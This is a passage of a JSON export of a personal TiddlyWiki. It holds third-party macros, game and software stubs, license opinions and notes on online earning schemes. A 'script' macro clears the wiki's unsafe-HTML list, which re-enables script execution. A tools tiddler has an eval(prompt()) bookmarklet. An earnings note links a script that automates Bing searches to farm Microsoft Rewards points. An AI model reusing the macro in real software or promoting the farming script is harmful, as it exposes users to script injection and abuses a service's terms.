\u003C/blockquote>\n\u003C/$reveal>","title":"$:/ThirdParty/TiddlyTools/FilterGenerators/Titles","caption":"Titles","modified":"20230109220606965","tags":"TiddlyTools $:/tags/AdvancedSearch"},
{"created":"20191214071309583","text":"\\define edit-list(\n id:\"\", tiddler:\"\", field:\"text\", index:\"\", timestamp:\"yes\",\n default:\"\", placeholder:\"\", tooltip:\"\", type:\"\", width:\"15em\",\n filter:\"\", find:\"\", goto:\"no\", confirm:\"no\", focus:\"no\",\n focusPopup:\"\", cancelPopups:\"no\", listwidth:\"100%\", listheight:\"10\", stretch:\"no\",\n show:\"no\", fontsize:\"100%\", colors:\"no\", multiple:\"no\", view:\"\u003C\u003Citem>>\", mobile:\"auto\"\n)\n\\whitespace trim\n\\define filter() $filter$\n\u003C!----------------->\n\u003C!-- ENVIRONMENT -->\n\u003C!----------------->\n\u003C$vars tid={{{ [[$tiddler$]!match[]else\u003CcurrentTiddler>] }}} re=\"[^a-zA-Z0-9\\-\\_]\">\n\u003C$vars id={{{ [[$index$]!match[]else[$field$]] +[addprefix[/]addprefix\u003Ctid>addsuffix[_$id$]] }}}>\n\u003C$vars id={{{ [\u003Cid>search-replace[$:/],[]search-replace:g:regexp\u003Cre>,[_]addsuffix\u003Cqualify>search-replace:g:[--],[-]search-replace:g:[__],[_]] }}}>\n\u003C$vars modal={{{ [[$:/state/modal/edit-list/]addsuffix\u003Cid>] }}}>\n\u003C$vars popup={{{ [[$:/state/popup/edit-list/]addsuffix\u003Cid>] }}}>\n\u003C$vars popup={{{ [\u003Cfilter>!match[]] [[$type$]match[calendar]] +[limit[1]then[$show$]match[no]then\u003Cpopup>] }}}>\n\u003C$vars minmax={{{ [[$:/state/popup/edit-list/minmax/]addsuffix\u003Cid>] }}}>\n\u003C!--------------->\n\u003C!-- VARIABLES -->\n\u003C!--------------->\n\u003C$vars\n field={{{ [[$index$]match[]then[$field$]else[]] }}} index=\"\"\"$index$\"\"\" timestamp=\"\"\"$timestamp$\"\"\" goto_button={{{ [[$goto$]match[yes]] }}}\n default=\"\"\"$default$\"\"\" placeholder=\"\"\"$placeholder$\"\"\" tooltip=\"\"\"$tooltip$\"\"\" width={{{ [[$width$]match[auto]then[15em]else[$width$]] }}}\n filter=\u003C\u003Cfilter>> find=\"\"\"$find$\"\"\" confirm=\"\"\"$confirm$\"\"\" listwidth={{{ [[$listwidth$]match[fit]then[auto]else[$listwidth$]] }}}\n listheight=\"\"\"$listheight$\"\"\" show=\"\"\"$show$\"\"\" fontsize=\"\"\"$fontsize$\"\"\" stretch={{{ [[$stretch$]match[yes]then[auto]else[$stretch$]] }}}\n focus=\"\"\"$focus$\"\"\" focusPopup={{{ [[$focusPopup$]!match[]then\u003Cpopup>else[$focusPopup$]] }}} multiple={{{ [[$multiple$]match[yes]] }}}\n calendar={{{ [[$type$]match[calendar]then[TiddlyTools/Time/Calendar]is[tiddler]then[yes]] }}}\n type={{{ [[$type$]match[calendar]then[TiddlyTools/Time/Calendar]is[missing]then[date]else[$type$]] }}}\n show={{{ [[$type$]match[calendar]then[TiddlyTools/Time/Calendar]is[missing]then[no]else[$show$]] }}}\n>\n\u003C!------------------->\n\u003C!-- ABBREVIATIONS -->\n\u003C!------------------->\n\u003C$vars\n openpopup=\"\"\"\n \u003C$action-deletetiddler $filter=\"[prefix[$:/state/popup/edit-list/]] -[prefix[$:/state/popup/edit-list/currentitem/]] -[\u003Cminmax>]\"/>\n \u003C$action-setfield $tiddler=\u003C\u003Cpopup>> text=\"show\"/>\"\"\"\n closepopup=\"\"\"\n \u003C$action-deletetiddler $filter=\"[\u003Cpopup>]\"/>\"\"\"\n gotoinput=\"\"\"\n \u003C$action-sendmessage $message=\"tm-focus-selector\" $param={{{ [[.editlist_input_]addsuffix\u003Cid>] }}}/>\"\"\"\n gotoselect=\"\"\"\n \u003C$action-sendmessage $message=\"tm-focus-selector\" $param={{{ [[.editlist_popup_select_]addsuffix\u003Cid>] }}}/>\"\"\"\n startmodal=\"\"\"\n \u003C$list filter=\"[\u003Cconfirm>match[yes]then\u003Cmodal>!is[tiddler]]\">\u003C$action-setfield $tiddler=\u003C\u003Ctid>> title=\u003C\u003Cmodal>>/>\"\"\"\n maximize=\"\"\"\n \u003C$action-setfield $tiddler=\u003C\u003Cminmax>> hmax=\"yes\" vmax=\"yes\"/>\"\"\"\n minimize=\"\"\"\n \u003C$action-deletetiddler $filter=\"[\u003Cminmax>]\"/>\"\"\"\n input=\"\"\"\n \u003C$eventcatcher $focusin=\"\u003C$list filter='[\u003CfocusPopup>!match[]]'>\u003C\u003Copenpopup>>\u003C/$list>\u003C\u003Cstartmodal>>\">\n \u003C$eventcatcher $focusout=\"\u003C$
2023-01-10 23:03:54 +00:00
{"created":"20150126131341956","creator":"Tobias Beer","text":"/*\\\ntitle: $:/.tb/macros/calc\ntype: application/javascript\nmodule-type: macro\n\nComputes a (Field) value +,-,*,/ a provided value.\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\n/*\nInformation about this macro\n*/\n\nexports.name = \"calc\";\n\nexports.params = [\n\t{name: \"value\"},\n\t{name: \"operation\"},\n\t{name: \"until\"},\n\t{name: \"beyond\"},\n\t{name: \"decimals\"},\n\t{name: \"tiddler\"},\n\t{name: \"by\"}\n];\n\n/*\nRun the macro\n*/\nexports.run = function(value, operation, until, beyond, decimals, tiddler, by) {\n\tif(!value) {\n\t\treturn;\n\t}\n\tif(\"\" === operation){\n\t\toperation = \"+\";\n\t}\n\tvar\n\t\tcurr,dec,init,initMatch,op,opGiven,r,result,val,\n\t\tregInit = /^((?:[0-9]+)|(?:(?:[0-9]*)[\\.,\\,](?:[0-9]*))){1}[=][>](.*)/mg,\n\t\tops = [\"+\",\"-\",\"*\",\"/\"];\n\tinitMatch = regInit.exec(value);\n\tif(initMatch) {\n\t\tinit = initMatch[1].replace(/[\\,]/,\".\");\n\t\tvalue = initMatch[2];\n\t}\n\tcurr = parseFloat(\n\t\tisNaN(parseFloat(value)) ?\n\t\tthis.wiki.getTextReference(value, init || \"NaN\", tiddler || this.getVariable(\"currentTiddler\")) :\n\t\tvalue\n\t);\n\tuntil = parseFloat(until);\n\tdecimals = parseInt(decimals);\n\n\top = operation.charAt(0);\n\topGiven = ops.indexOf(op) >= 0;\n\tif(!opGiven) {\n\t\top = \"+\";\n\t}\n\tinitMatch = regInit.exec(by);\n\tif(initMatch) {\n\t\tinit = initMatch[1].replace(/[\\,]/,\".\");\n\t\tby = initMatch[2];\n\t}\n\tval = parseFloat(\n\t\tisNaN(parseFloat(by)) ?\n\t\tthis.wiki.getTextReference(by, init || \"NaN\", tiddler || this.getVariable(\"currentTiddler\")) :\n\t\tby\n\t);\n\tif(by === \"\") {\n\t\tval = opGiven ?\n\t\t\t(operation.length \u003C 2 ? 0 : parseFloat(operation.substr(1))) :\n\t\t\tparseFloat(operation);\n\t}\n\tif(isNaN(curr)) {\n\t\tresult = \"NaN\";\n\t} else {\n\t\tswitch (op){\n\t\t\tcase \"-\": result = curr - val; break;\n\t\t\tcase \"*\": result = curr * val; break;\n\t\t\tcase \"/\": result = curr / val; break;\n\t\t\tcase \"+\":\n\t\t\t\t/* falls through */\n\t\t\tdefault: result = curr + val;\n\t\t}\n\t\tif(!isNaN(until)) {\n\t\t\tif (!(\n\t\t\t\t\"+\" == op || \"*\" == op ?\n\t\t\t\tresult \u003C= until :\n\t\t\t\tresult >= until\n\t\t\t)) {\n\t\t\t\tif(\"true\" == beyond) {\n\t\t\t\t\tresult = true;\n\t\t\t\t} else {\n\t\t\t\t\tresult = until;\n\t\t\t\t}\n\t\t\t}\n\t\t\tif(beyond && result !== true) {\n\t\t\t\tresult = false;\n\t\t\t}\n\t\t}\n\t}\n\n\tif(!isNaN(result)){\n\t\tr = result.toString();\n\t\tdec = r.indexOf('.');\n\t\tif(dec > -1){\n\t\t\tdec = r.substr(dec).length;\n\t\t\tif(\n\t\t\t\t!isNaN(decimals) && dec > decimals ||\n\t\t\t\tisNaN(decimals) && dec > 2\n\t\t\t){\n\t\t\t\tresult = result.toFixed(isNaN(decimals) ? 2 : decimals);\n\t\t\t}\n\t\t}\n\t}\n\treturn result.toString();\n};\n\n})();","bag":"default","revision":"0","type":"application/javascript","title":"$:/ThirdParty/tobibeer/calc","summary":"allows simple calculations based on tiddler fields","module-type":"macro","modifier":"Tobias Beer","modified":"20230110224652721"},
2023-01-17 13:05:45 +00:00
{"created":"20141211131633372","creator":"Tobias Beer","text":"\\define ibox(image, caption, template:\"$:/ThirdParty/tobibeer/ibox/Lightbox\", btn-class:\"ibox-btn\", direct)\n\u003C$reveal type=match text=\"\" default=\"$direct$\">\u003C$button class=\"$btn-class$\">\u003C$action-sendmessage $message=\"tm-modal\" $param=\"$template$\" image=\"$image$\" caption=\"$caption$\"/>\u003C$image source=\"$image$\"/>\u003C/$button>\u003C/$reveal>\u003C$reveal type=nomatch text=\"\" default=\"$direct$\">\u003C$button class=\"$btn-class$\">\u003C$action-sendmessage $message=\"tm-modal\" $param=\"$image$\"/>\u003C$image source=\"$image$\"/>\u003C/$button>\u003C/$reveal>\u003Cstyle>\n.ibox-btn{\npadding:5px;\n}\n\n.ibox-btn img{\nwidth:150px;\n}\n\n.tc-modal .tc-modal-body > div > img{\n width:100%;\n}\n\u003C/style>\n\\end","title":"$:/ThirdParty/tobibeer/ibox","tags":"$:/tags/Macro","modifier":"Octt","modified":"20230117125511138"},
{"created":"20141211130114064","creator":"Tobias Beer","text":"\u003C$image source=\u003C\u003Cimage>> width=\"100%\" height=\"100%\"/>\u003C$reveal type=match text=\"\" default=\u003C\u003Ccaption>>>\u003C$transclude tiddler=\u003C\u003Cimage>> field=caption/>\u003C/$reveal>\u003C$reveal type=nomatch text=\"\" default=caption>\u003C\u003Ccaption>>\u003C/$reveal>","title":"$:/ThirdParty/tobibeer/ibox/Lightbox","tags":"","summary":"the default modal template used with the ibox macro","modifier":"Octt","modified":"20230117130401126","caption":"Lightbox"},
2023-01-10 23:03:54 +00:00
{"created":"20150129001857442","text":"(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\n/*\nenables js via \u003C\u003Cscript>> and disables with \u003C\u003Cscript 0>>\n*/\n\nexports.name = \"script\";\n\nexports.params = [\n\t{name: \"run\"},\n];\n\n/*\nRun the macro\n*/\nexports.run = function(run) {\n var off = run ? run.toLowerCase() : false;\n\tif(off && [\"0\",\"no\",\"off\",\"false\"].indexOf(off) > -1) {\n\t\t$tw.config.htmlUnsafeElements = [\"script\"];\n\t} else {\n\t\t$tw.config.htmlUnsafeElements = [];\n\t}\nreturn \"\";\n};\n})();","type":"application/javascript","title":"$:/ThirdParty/tobibeer/script","tags":"","module-type":"macro","modifier":"Tobias Beer","modified":"20230110224555724","creator":"Tobias Beer"},
2023-01-09 23:37:27 +00:00
{"created":"20180630143633913","text":"\\define link(showcount: none) \u003Cspan style=\"display: inline-block\">@@font-size: calc(0.6em + $(count)$px / 2); \u003C$link>\u003C$text text=\u003C\u003Ctitle>> />\u003C/$link>@@ @@font-size: 0.6em;display: $showcount$; (\u003C\u003Ccount>>)@@\u003C/span>\n\n''Credits'' to [[zemoxian (zemox.tiddlyspot.com)|https://zemox.tiddlyspot.com/#Tag%20Cloud]]!\n\n\u003C$edit-text tag=input type=range tiddler=\"$:/temp/cloud/range\"/> {{$:/temp/cloud/range}} &nbsp;\n\u003C$checkbox\n tiddler=\"$:/state/tag-cloud-count\"\n field=text\n checked=inline\n unchecked=none\n> show count\u003C/$checkbox>\n\n@@text-align: center;\n\u003C$list filter=\"[tags[]!is[system]]\">\n\u003C$list filter=\"[all[current]tagging[]rest{$:/temp/cloud/range}first[]]\" variable=_>\n\u003C$vars\n title={{{ [all[current]] }}}\n count=\n{{{ [all[current]tagging[]count[]] }}}\n>\n\u003C$macrocall $name=link showcount={{$:/state/tag-cloud-count}} />\n\u003C/$vars>\n\u003C/$list>\n\u003C/$list>\n@@\n","title":"$:/ThirdParty/zemoxian/Tag Cloud","tags":"TiddlyWiki","modifier":"zemoxian","modified":"20230109231828669","creator":"zemoxian"},
2023-02-03 23:06:07 +00:00
{"created":"20230203215712028","creator":"Octt","text":"","title":"$:/Tools","modified":"20230203215714029","modifier":"Octt","tags":"TableOfContents"},
{"created":"20230124063904327","creator":"Octt","text":"* \u003Ca href=\"javascript:(alert(eval(prompt('Quick Eval'))))\">Quick Eval\u003C/a>\n* \u003Ca href={{$:/ThirdParty/Eruda-Inject.bkjs}}>Open DevTools (Eruda)\u003C/a> [\u003Cspan>[[?|Eruda]]\u003C/span>]","tags":"$:/Tools","title":"$:/Tools/DevTools","modified":"20230203215705758","modifier":"Octt"},
2022-09-26 11:48:27 +00:00
{"created":"20140114170004978","text":"Credits: [[https://tw5magick.tiddlyspot.com]]\n\nThis great trick was shown to the tiddlywiki google group by [[Alberto Molina|https://groups.google.com/forum/#!topic/tiddlywiki/OCntQ79DuwM]]. I enhanced it a bit.\n\n|!Search tag: | \u003C$edit-text tiddler=\"$:/temp/RenameTags/search\" tag=\"input\" type=\"text\"/> |\n|!Replace by: | \u003C$edit-text tiddler=\"$:/temp/RenameTags/replace\" tag=\"input\" type=\"text\"/> |\n\n---\n\u003C$reveal type=\"nomatch\" text=\"\" state=\"$:/temp/RenameTags/replace\">\n\n!First step\n!!//Apply the tag \u003C$tiddler tiddler={{$:/temp/RenameTags/replace}}>\u003C$transclude tiddler=\"$:/core/ui/TagTemplate\"/>\u003C/$tiddler> to the following tiddlers//\n\u003C$list filter=\"[!has[draft.of]tag{$:/temp/RenameTags/search}!tag{$:/temp/RenameTags/replace}sort[created]]\">\n\u003C$checkbox tag={{$:/temp/RenameTags/replace}}> \u003C$link to={{!!title}}>\u003C$view field=\"title\"/>\u003C/$link>\u003C/$checkbox>\u003Cbr/>\n\u003C/$list>\n\u003C/$reveal>\n\n\u003C$reveal type=\"nomatch\" text=\"\" state=\"$:/temp/RenameTags/search\">\n\n!Second step\n!!//Remove the tag \u003C$tiddler tiddler={{$:/temp/RenameTags/search}}>\u003C$transclude tiddler=\"$:/core/ui/TagTemplate\"/>\u003C/$tiddler> from the following tiddlers//\n\u003C$list filter=\"[!has[draft.of]tag{$:/temp/RenameTags/search}tag{$:/temp/RenameTags/replace}sort[created]]\">\n\u003C$checkbox tag={{$:/temp/RenameTags/search}}> ~~\u003C$link to={{!!title}}>\u003C$view field=\"title\"/>\u003C/$link>~~\u003C/$checkbox>\u003Cbr/>\n\u003C/$list>\n\u003C/$reveal>","title":"$:/Tools/RenameTags","tags":"","modifier":"Stephan Hradek","modified":"20220926114819573","description":"A great trick invented by Alberto Molina to search and replace tags.","creator":"Stephan Hradek"},
2022-09-20 15:15:25 +00:00
{"created":"20220920114605308","title":"$:/view","text":"classic","modified":"20220920114631852"},
2023-02-06 11:43:53 +00:00
{"created":"20220923133930693","creator":"Octt","text":"''1337x'' is a [[torrent|BitTorrent:en]] search engine.\n\n[img[https://upload.wikimedia.org/wikipedia/commons/b/bb/1337X_logo.svg]]\n\nIn recent years, the service has become more popular than some of its older alternatives, in part thanks to some of its quality-ensuring rules.\n\nThe site features text search, categories, and user profiles.","tags":"Web BitTorrent Sharing Research $:/i18n:en","title":"1337x:en","modified":"20230206111552042","modifier":"Octt"},
2023-02-06 22:43:30 +00:00
{"created":"20230111153852789","creator":"Octt","text":"\u003C\u003CMediaWiki 2048_(video_game) en 1>>\n\n!! ''Gamin' Time''\n\n\u003C\u003CiFrameFixed \"https://play2048.co\">>\n\n!! ''Implementations''\n\n* ''Official (Gabriele Cirulli)'': [[Web|https://play2048.co/]] | [[Git|https://github.com/gabrielecirulli/2048/]]\n** Android Repack: [[F-Droid|https://f-droid.org/en/packages/com.uberspot.a2048/]] | [[Git|https://github.com/uberspot/2048-android/]]\n\n* ''Privacy Friendly 2048 (SecUSo)'': [[F-Droid|https://f-droid.org/en/packages/org.secuso.privacyfriendly2048/]] | [[Git|https://github.com/SecUSo/privacy-friendly-2048/]]","tags":"Puzzle Open $:/i18n:en Game","title":"2048:en","modified":"20230206203924217","modifier":"Octt"},
{"created":"20230205144033227","creator":"Octt","text":"","tags":"TODO Game","title":"2248","modified":"20230206211322375","modifier":"Octt"},
{"created":"20230124213630708","creator":"Octt","text":"\u003C\u003CiFrame \"https://en.wikipedia.org/wiki/Full_Tilt!_Pinball#3D_Pinball_for_Windows_%E2%80%93_Space_Cadet\">>","tags":"$:/i18n:en Game","title":"3D Pinball:en","modified":"20230206204135834","modifier":"Octt"},
2023-02-06 11:43:53 +00:00
{"created":"20230130073837406","creator":"Octt","text":"\u003C\u003CMediaWiki A_Hat_in_Time en 3>>","tags":"TODO $:/i18n:en","title":"A Hat in Time:en","modified":"20230206111552056","modifier":"Octt"},
2023-01-11 15:51:30 +00:00
{"created":"20230108192258947","text":"\u003C\u003CMediaWiki ActivityPub en 1>>","title":"ActivityPub:en","modified":"20230111152725841","tags":"TODO"},
2023-02-05 15:20:07 +00:00
{"created":"20230205150256998","creator":"Octt","text":"","tags":"TODO","title":"Amazon Kindle","modified":"20230205150306026","modifier":"Octt"},
2023-02-06 19:56:30 +00:00
{"created":"20230202230035698","creator":"Octt","text":"\u003C\u003CMediaWiki Android_(operating_system) en 5>>","tags":"","title":"Android","modified":"20230206192339925","modifier":"Octt"},
2023-02-05 15:20:07 +00:00
{"created":"20230205151705787","creator":"Octt","text":"List of some Android apps to keep in mind.\n\n* AccA\n* Activity Launcher\n* AdAway\n* AIDA64\n* Andronix\n* Antutu\n* APK Editor Pro\n* B612\n* Color\n* Cryptomator\n* dotpict\n* Gadgetbridge\n* GitJournal\n* ibisPaint X\n* LibreTorrent\n* Linux Deploy\n* Lucky Patcher\n* Magisk\n* Material Files\n* Mi Remote\n* MiXplorer\n* Music Player F-Droid\n* NeoBackup\n* NewPipe\n* News Provider\n* OpenBoard\n* Open Camera\n* ONLYOFFICE\n* PCAPdroid\n* PocketMaps\n* Psiphon Pro\n* Pydroid 3\n* QR & Barcode Scanner\n* Quill\n* Readrops\n* Rekado\n* RustDesk\n* SAI\n* ScreenStreamer\n* Seal\n* Sketchware Pro\n* StreetComplete\n* Squircle IDE\n* SuperFreezZ\n* Tiddloid\n* tooot\n* Tor Browser\n* Transdroid\n* Unexpected Keyboard\n* UserLAnd\n* VirtualXposed\n* VMOS Pro\n* WiGLE WiFi\n","tags":"","title":"Android Apps","modified":"20230205151935502","modifier":"Octt"},
2023-02-06 22:43:30 +00:00
{"created":"20230110225425199","creator":"Octt","text":"\u003C\u003CMediaWiki Animal_Crossing en 2>>","tags":"Nintendo TODO $:/i18n:en Game","title":"Animal Crossing:en","modified":"20230206203924220","modifier":"Octt"},
2023-02-06 11:43:53 +00:00
{"created":"20230128233320444","creator":"Octt","text":"The ''Anti-Capitalist Software License'' (''ACSL'') is a license for proprietary software that, while with some good intentions, has a questionable implementation resulting in bad qualities. It's not open-source, and thus should be avoided for most projects. I don't think it could hold in a court of law.\n\n* Website: [[anticapitalist.software|https://anticapitalist.software]]\n\nI've seen a number higher than one of modified versions of this license in the wild:\n\n* Form promoting the anti-cryptocurrency narrative: https://github.com/Lana-chan/webgbcam/raw/main/LICENSE - It adds: \"//5. The User must not be involved in Non-Fungible Tokens or any other form of cryptocurrency minting or exchange.//\"\n","tags":"TODO Legal $:/i18n:en","title":"Anti-Capitalist Software License:en","modified":"20230206111552063","modifier":"Octt"},
{"created":"20230128234619470","creator":"Octt","text":"The ''Anti-Fascist MIT License'' is a MIT license modified with additional text to prohibit use by fascists. I don't think fascists will respect it, one of their mottos is literally \"me ne frego\" (\"I don't care\"), nor do I think the license could actually hold in a court of law, but the intentions behind it are good.\n\n* Repo: [[github.com/jamiebuilds/anti-fascist-mit-license|https://github.com/jamiebuilds/anti-fascist-mit-license]]\n\nAfter further research, it appears that forks exist:\n\n* https://github.com/Laurelai/anti-fascist-mit-license\n","tags":"Legal $:/i18n:en","title":"Anti-Fascist MIT License:en","modified":"20230206111552066","modifier":"Octt"},
2023-02-03 23:06:07 +00:00
{"created":"20230109155822410","creator":"Octt","text":"\u003C\u003CDirTreeList>>","title":"Apps","modified":"20230203222502948","tags":"TableOfContents","modifier":"Octt"},
2023-02-06 11:43:53 +00:00
{"created":"20221108215709619","text":"\u003C\u003CiFrame100Tid \"$:/Apps/Dashboard/index.html\">>","tags":"App $:/i18n:en","title":"Apps/Dashboard","modified":"20230206111552068","type":"text/vnd.tiddlywiki","modifier":"Octt"},
{"created":"20230130081739358","creator":"Octt","text":"\u003C\u003CMediaWiki Arduino en 2>>","tags":"$:/i18n:en","title":"Arduino:en","modified":"20230206111552070","modifier":"Octt"},
2023-02-05 15:20:07 +00:00
{"created":"20230205142749253","creator":"Octt","text":"","tags":"TODO","title":"ARM","modified":"20230205142757864","modifier":"Octt"},
2023-02-06 11:43:53 +00:00
{"created":"20220922205247845","text":"Collection of miscellaneous articles I read around the Web and found nice.\n\n!!! 2022-09-23\n* [[The sum of all knowledge and the sorry state of the web|https://christianheilmann.com/2022/08/29/the-sum-of-all-knowledge]]\n\n!!! 2022-09-22\n* [[Lose Weight the Slow and Incredibly Difficult Way|https://nautil.us/lose-weight-the-slow-and-incredibly-difficult-way-239703/]] - //Trying to answer a silly question can take you through some serious science.//","tags":"Reading $:/i18n:en","title":"Articles","modified":"20230206111552072","modifier":"Octt"},
2023-02-06 22:43:30 +00:00
{"created":"20230202232827353","creator":"Octt","text":"\u003C\u003CMediaWiki Balloon_Fight en 4>>","tags":"Nintendo $:/i18n:en Game","title":"Balloon Fight:en","modified":"20230206203924220","modifier":"Octt"},
2023-02-06 11:43:53 +00:00
{"created":"20221105114920520","text":"''Base64'' is a 8-bit-binary to text data encoding scheme.\n\nDue to the format using a character set of 64 characters, representable by 6 bits, a minimal b64 block is ''24 bits'' large (lcm(8,6)), which is 3 binary bytes, or 4 b64 text characters.","tags":"$:/i18n:en","title":"Base64:en","modified":"20230206111552076","modifier":"Octt"},
{"created":"20220923190200484","creator":"Octt","text":"''BitTorrent'' is an open [[peer-to-peer|peer-to-peer:en]] file sharing protocol. It is expecially common among the [[free sharing]] community.\n\nIts only requirement for each user is a client application, meaning that efficiently sharing with BitTorrent is effectively free, since a beefy server isn't needed to make the content circulate.\n\nFor this reason, the protocol is most commonly used to share large files that have a lot of people requesting them, such as movies, operating systems, and videogames.\n\nThis kind of information would be usually expensive to share using a traditional client-server infrastructure, but with BitTorrent every client can seed (send) data to other requesting clients, exponentially optimizing delivery.\n\n!!! ''Clients''\n* ''Transmission'' (Desktop, CLI): [[Website|https://transmissionbt.com/]] | [[Git|https://github.com/transmission/transmission/]] | [[Wikipedia|https://en.wikipedia.org/wiki/Transmission_(BitTorrent_client)]]\n* ''qBittorrent'' (Desktop, CLI): [[Website|https://www.qbittorrent.org/]] | [[Git|https://github.com/qbittorrent/qBittorrent/]] | [[Wikipedia|https://en.wikipedia.org/wiki/qBittorrent]]","tags":"Internet BitTorrent P2P $:/i18n:en","title":"BitTorrent:en","modified":"20230206111552078","modifier":"Octt"},
2023-02-05 15:20:07 +00:00
{"created":"20230205150537106","creator":"Octt","text":"","tags":"TODO","title":"CASIO","modified":"20230205150543738","modifier":"Octt"},
2023-02-06 22:43:30 +00:00
{"created":"20230112100848709","creator":"Octt","text":"\u003C\u003CMediaWiki Celeste_(video_game) en 3>>\n\n!! ''Gamin' Time''\n\n\u003C\u003CiFrameFixed \"https://www.lexaloffle.com/bbs/widget.php?pid=15133\" \" \" 'style=\"width:100%; height:512px\"'>>","tags":"TODO Platformer $:/i18n:en Game","title":"Celeste:en","modified":"20230206203924221","modifier":"Octt"},
2023-02-06 19:56:30 +00:00
{"created":"20230126102033696","creator":"Octt","text":"\u003C\u003CMediaWiki ChatGPT en 2>>","tags":"AI LLM","title":"ChatGPT","modified":"20230206194423427","modifier":"Octt"},
2023-02-06 11:43:53 +00:00
{"created":"20220925131851817","text":"!! Creative Commons\n\n!!! ''Attribution-ShareAlike 4.0 International (CC BY-SA 4.0)''\n\nThis is a human-readable summary of (and not a substitute for) the [[license|https://creativecommons.org/licenses/by-sa/4.0/legalcode]].\n\n\u003Cdetails>\n\u003Csummary>Disclaimer\u003C/summary>\n\u003Cp>This deed highlights only some of the key features and terms of the actual license. It is not a license and has no legal value. You should carefully review all of the terms and conditions of the actual license before using the licensed material.\u003C/p>\n\n\u003Cp>Creative Commons is not a law firm and does not provide legal services. Distributing, displaying, or linking to this deed or the license that it summarizes does not create a lawyer-client or any other relationship.\u003C/p>\n\u003C/details>\n\n[img[$:/ThirdParty/Buttons/CC BY-SA.svg]]\n\n!!!'' You are free to:''\n\n''Share'' — copy and redistribute the material in any medium or format\n\n''Adapt'' — remix, transform, and build upon the material\nfor any purpose, even commercially.\n\nThe licensor cannot revoke these freedoms as long as you follow the license terms.\n\n!!! ''Under the following terms:''\n\n''Attribution'' — You must give appropriate credit, provide a link to the license, and indicate if changes were made. You may do so in any reasonable manner, but not in any way that suggests the licensor endorses you or your use.\n\n''ShareAlike'' — If you remix, transform, or build upon the material, you must distribute your contributions under the same license as the original.\n\n''No additional restrictions'' — You may not apply legal terms or technological measures that legally restrict others from doing anything the license permits.\n\n!!! ''Notices:''\nYou do not have to comply with the license for elements of the material in the public domain or where your use is permitted by an applicable exception or limitation.\n\nNo warranties are given. The license may not give you all of the permissions necessary for your intended use. For example, other rights such as publicity, privacy, or moral rights may limit how you use the material.","title":"Creative Commons/BY-SA 4.0:en","modified":"20230206111552087","tags":"TODO $:/i18n:en","modifier":"Octt"},
2023-02-05 15:20:07 +00:00
{"created":"20230205150034992","creator":"Octt","text":"","tags":"TODO [[Mario Kart]]","title":"CTGP Nitro","modified":"20230205150110227","modifier":"Octt"},
2023-02-06 11:43:53 +00:00
{"created":"20230202230421306","creator":"Octt","text":"\u003C\u003CMediaWiki CyanogenMod en 4>>","tags":"Android $:/i18n:en","title":"CyanogenMod:en","modified":"20230206111552091","modifier":"Octt"},
{"created":"20230202105826531","creator":"Octt","text":"\u003C\u003CMediaWiki D-pad en 2>>","tags":"HID Paradigm $:/i18n:en","title":"D-Pad:en","modified":"20230206111552093","modifier":"Octt"},
{"created":"20230116204701243","text":"''[[daedalOS|https://dustinbrett.com]]'' is an [[open-source]] [[pseudo-OS]] made for the Web browser.\n\n* Git: [[github.com/DustinBrett/daedalOS|https://github.com/DustinBrett/daedalOS]]\n\n!! ''Try it''\n\n\u003C\u003CiFrameFixed \"https://dustinbrett.com\">>","tags":"$:/i18n:en","title":"daedalOS:en","modified":"20230206111552095","modifier":"Octt"},
2023-01-30 08:25:13 +00:00
{"created":"20230130081618018","creator":"Octt","text":"","tags":"TODO","title":"DevKitPro","modified":"20230130081716116","modifier":"Octt"},
2023-02-06 22:43:30 +00:00
{"created":"20230116202834289","creator":"Octt","text":"\u003C\u003CMediaWiki Doom_(franchise) en 4>>\n\n\u003C!--\n!! ''Gamin' Time''\n\n\u003C\u003CiFrameFixed \"https://dos.zone/player/?bundleUrl=https://cdn.dos.zone/custom/dos/doom.jsdos&exit=1\">>\n--->\n","tags":"TODO FPS Retro $:/i18n:en Game","title":"DOOM:en","modified":"20230206203924221","modifier":"Octt"},
{"created":"20230205143148006","creator":"Octt","text":"\u003C\u003C\n\u003C!-- \u003C\u003CiFrameBypass \"https://www.gsmarena.com/xiaomi_redmi_9t-10670.php\">> --\n\u003C!-- \u003C\u003CiFrameBypass \"https://html.duckduckgo.com/html?q=! Redmi 9T site:gsmarena.com\">> --\n\u003C!-- \u003C\u003CiFrameBypass \"https://duckduckgo.com/\">> -->\n\n!!! ''Resources''\n\n* TWRP: (I have to find the old thread)\n\n!!!! ''Custom ROMs''","tags":"TODO Android","title":"Draft of 'Xiaomi Redmi 9T' by Octt","modified":"20230206224100596","modifier":"Octt","draft.title":"Xiaomi Redmi 9T","draft.of":"Xiaomi Redmi 9T"},
2023-02-05 15:20:07 +00:00
{"created":"20230205150439194","creator":"Octt","text":"","tags":"TODO","title":"DraStic","modified":"20230205150453937","modifier":"Octt"},
2023-02-06 22:43:30 +00:00
{"created":"20230206211907427","creator":"Octt","text":"Graphs of my earnings should be available soon.\n\n!!! ''Misc''\n\n!!!! ''[[Microsoft Rewards|https://rewards.bing.com/]]''\n\n; (At least in Italy, I don't know about other markets) MS Rewards lets you exchange points for [[Amazon]] gift cards:\n: 5€ = 7500 rp\n: 10€ = 15000 rp\n\n* https://octospacc.gitlab.io/pastebin/BingSpam.html - Script for completing the daily searches goal in Bing without doing searches by hand; Have been using it for months now, never got banned, it //should// be safe\n\n!!! ''Network traffic sharing''\n\n!!!! ''[[Earnapp|https://earnapp.com/i/4lef5dm]]''\n\nI haven't been using Earnapp for months now due to first technical issues on my side, then a bit of forgetfulness and also because the service isn't paying like it used to (traffic decreased).\n\n* [[EarnApp-Docker|https://github.com/fazalfarhan01/EarnApp-Docker]] - //Containerized version of BrightData's EarnApp//\n\n!!!! ''[[Honeygain|https://r.honeygain.me/OCTO870875]]''\n\nThe service is absolutely not paying like it used to nowaydays, sadly, does little traffic. Also be careful if using this, refrain from doing something that goes in the gray side of their ToS as they could ban you. Some people have been banned near reaching a payout; some also then unbanned after a while.\n\nHoneygain has a partnership with [[JumpTask|https://jumptask.io/]] so you can earn their crypto (BSC chain) token, and it's continuous, you don't have to reach payout targets. After months and months of evaluation, I think it's fair to say you only make a misery with JumpTask mode, as compared to normal mode.\n\n!!!! ''IPRoyal''\n\nThere was this service called IPRoyal (of which \"IPRoyal Pawns\" was the name of the side which pays users sharing traffic, \"IPRoyal\" is for who buys the traffic), which now seems to have changed name into [[Pawns.app|https://pawns.app/]] and include also surveys, not only network sharing. Never tried it either before or after the 